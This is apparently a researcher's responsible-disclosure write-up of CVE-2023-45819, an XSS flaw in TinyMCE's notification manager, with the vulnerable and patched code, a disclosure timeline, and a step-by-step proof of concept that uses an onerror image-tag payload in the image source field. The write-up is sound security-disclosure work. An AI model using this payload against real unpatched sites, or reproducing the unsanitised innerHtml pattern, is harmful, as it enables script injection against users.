Not long ago, I discovered a cross-site scripting vulnerability affecting versions < 6.4.2 and < 5.10.81 of TinyMCE.

Initially, I thought it was just a recreation of CVE-2022-23494. However, after further research, I concluded that it was a similar but separate issue (now classified as CVE-2023-45819).

TinyMCE

TinyMCE is a popular open-source WYSIWYG (What You See Is What You Get) rich-text editor used by more than 1.5 million developers2. It provides a user-friendly interface for creating and editing rich-text content on websites and web applications. It is highly customizable and supports a wide range of plugins.

Problem & Patch

The vulnerability exploits the fact that the notification manager API, which handles the creation of TinyMCE’s notifications, did not perform any sanitization or validation of user-supplied input. It was instead directly being inserted into the DOM:

const factory: UiSketcher.SingleSketchFactory<NotificationSketchDetail, NotificationSketchSpec> = (detail) => {
  // For using the alert banner as a standalone banner
  const memBannerText = Memento.record({
    dom: {
      tag: 'p',
      innerHtml: detail.translationProvider(detail.text)
    },
    behaviours: Behaviour.derive([
      Replacing.config({ })
    ])
  });

In the updated and patched versions of TinyMCE, the vulnerability has been mitigated by using DOMPurify to sanitize and remove any malicious elements or attributes in the user-supplied input before it is inserted into the DOM. Lines 4-7 in the above code snippet have been replaced with the following:

dom: DomFactory.fromHtml(`<p>${HtmlSanitizer.sanitizeHtmlString(detail.translationProvider(detail.text))}</p>`),

For more context, see the entire patch/commit here and the GH advisory here.

Proof of Concept

To replicate the vulnerability in one of the affected versions, follow these steps (this example is specific to version 5.10.7):

  1. Download and unzip a local copy of TinyMCE:

    wget https://download.tiny.cloud/tinymce/community/tinymce_5.10.7_dev.zip
    unzip tinymce_5.10.7_dev.zip
    
  2. Create a file named poc.html and copy & paste the following into it3:

    <!DOCTYPE html>
    <html>
    <head>
      <script src="tinymce/js/tinymce/tinymce.min.js"></script>
      <script type="text/javascript">
      tinymce.init({
        selector: 'textarea#file-picker',
        plugins: 'image code',
        toolbar: 'undo redo | link image | code',
        image_title: true,
        automatic_uploads: true,
        file_picker_types: 'image',
        file_picker_callback: function (cb, value, meta) {
          var input = document.createElement('input');
          input.setAttribute('type', 'file');
          input.setAttribute('accept', 'image/*');
    
          input.onchange = function () {
            var file = this.files[0];
    
            var reader = new FileReader();
            reader.onload = function () {
              var id = 'blobid' + (new Date()).getTime();
              var blobCache =  tinymce.activeEditor.editorUpload.blobCache;
              var base64 = reader.result.split(',')[1];
              var blobInfo = blobCache.create(id, file, base64);
              blobCache.add(blobInfo);
              cb(blobInfo.blobUri(), { title: file.name });
            };
            reader.readAsDataURL(file);
          };
    
          input.click();
        },
        content_style: 'body { font-family:Helvetica,Arial,sans-serif; font-size:14px }'
      });
      </script>
    </head>
    <body>
      <textarea id="file-picker"></textarea>
    </body>
    </html>
    
  3. Serve poc.html in a browser.

  4. Click on the “Insert/edit image” button.

  5. In “Source”, enter the following:

    blob:<img src=x onerror=alert(tinymce.majorVersion+'.'+tinymce.minorVersion)>
    
  6. Click “Save” and observe that an alert box appears, indicating that the JavaScript was executed in the browser.

XSS alert box showing TinyMCE version 5.10.7

Disclosure Timeline

  • 2023-10-07 - Vulnerability reported
  • 2023-10-11 - Vulnerability confirmed
  • 2023-10-19 - Patch released
  • 2023-10-20 - CVE introduced
  1. Since the release of 6.4.2, notification errors are no longer displayed when the editor fails to retrieve blob image URIs (changelog). As a result, the PoC provided here is specific to versions < 6.4.2 and < 5.10.8. However, the vulnerability as a whole affects versions >= 6.0.0 < 6.7.1 and < 5.10.8

  2. https://www.tiny.cloud/blog/tinymce-free-wysiwyg-html-editor 

  3. Sample code taken from TinyMCE Docs